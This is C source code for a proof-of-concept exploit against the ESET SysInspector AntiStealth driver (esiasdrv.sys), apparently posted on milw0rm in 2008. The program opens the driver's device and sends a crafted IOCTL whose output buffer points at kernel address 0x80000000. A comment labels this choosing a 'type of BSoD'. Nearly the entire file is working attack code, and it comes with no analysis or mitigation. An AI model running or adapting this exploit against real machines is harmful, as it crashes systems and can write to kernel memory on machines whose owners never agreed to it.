// +----------------------------------------------------------------------------+ //
// | | //
// | ESET, LLC. - http://www.eset.com/ | //
// | | //
// | Affected Software: | //
// | ESET System Analyzer Tool - 1.1.1.0 | //
// | | //
// | Affected Driver: | //
// | Eset SysInspector AntiStealth driver - 3.0.65535.0 - esiasdrv.sys | //
// | Proof of Concept Exploit | //
// | | //
// +----------------------------------------------------------------------------+ //
// | | //
// | NT Internals - NT Internals | //
// | alex ntinternals org | //
// | 01 October 2008 | //
// | | //
// +----------------------------------------------------------------------------+ //
////////////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall

#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003

#define IOCTL_METHOD_NEIGHTER 0x00223C1F
#define BUFFER_LENGTH 0x04

typedef ULONG NTSTATUS;

typedef struct _UNICODE_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PWSTR Buffer;
/* 0x08 */
}
UNICODE_STRING,
*PUNICODE_STRING,
**PPUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
/* 0x00 */ ULONG Length;
/* 0x04 */ HANDLE RootDirectory;
/* 0x08 */ PUNICODE_STRING ObjectName;
/* 0x0C */ ULONG Attributes;
/* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
/* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
/* 0x18 */
}
OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{
union
{
/* 0x00 */ NTSTATUS Status;
/* 0x00 */ PVOID Pointer;
};

/* 0x04 */ ULONG Information;
/* 0x08 */
}
IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);

IMP_VOID RtlInitUnicodeString
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

IMP_SYSCALL NtCreateFile
(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);

IMP_SYSCALL NtDeviceIoControlFile
(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

IMP_SYSCALL NtDelayExecution
(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
);

IMP_SYSCALL NtClose
(
IN HANDLE Handle
);

int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;

HANDLE DeviceHandle;
ULONG InputBuffer;

UNICODE_STRING DeviceName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER Interval;

///////////////////////////////////////////////////////////////////////////////////////////////

system("cls");

printf( " +----------------------------------------------------------------------------+\n"
" | |\n"
" | ESET, LLC. - http://www.eset.com/ |\n"
" | |\n"
" | Affected Software: |\n"
" | ESET System Analyzer Tool - 1.1.1.0 |\n"
" | |\n"
" | Affected Driver: |\n"
" | Eset SysInspector AntiStealth driver - 3.0.65535.0 - esiasdrv.sys |\n"
" | Proof of Concept Exploit |\n"
" | |\n"
" +----------------------------------------------------------------------------+\n"
" | |\n"
" | NT Internals - NT Internals |\n"
" | alex ntinternals org |\n"
" | 01 October 2008 |\n"
" | |\n"
" +----------------------------------------------------------------------------+\n\n");

///////////////////////////////////////////////////////////////////////////////////////////////

RtlInitUnicodeString(&DeviceName, L"\\Device\\esiasdrv");

ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;


NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA | FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ | FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength

/*
if(NtStatus)
{
printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus);
return NtStatus;
}
*/

Interval.LowPart = 0xFF676980;
Interval.HighPart = 0xFFFFFFFF;

printf("\n 3");
NtDelayExecution(FALSE, &Interval);

printf(" 2");
NtDelayExecution(FALSE, &Interval);

printf(" 1");
NtDelayExecution(FALSE, &Interval);

printf(" Upss\n\n");
NtDelayExecution(FALSE, &Interval);


//
// Choose type of BSoD
//

// InputBuffer = 0x12345678;

InputBuffer = 0;


NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_METHOD_NEIGHTER, // FsControlCode
&InputBuffer, // InputBuffer
BUFFER_LENGTH, // InputBufferLength
(PVOID)0x80000000, // OutputBuffer
BUFFER_LENGTH); // OutBufferLength

if(NtStatus)
{
printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
return NtStatus;
}

NtStatus = NtClose(DeviceHandle); // Handle

if(NtStatus)
{
printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus);
return NtStatus;
}

return FALSE;
}

// milw0rm.com [2008-10-01]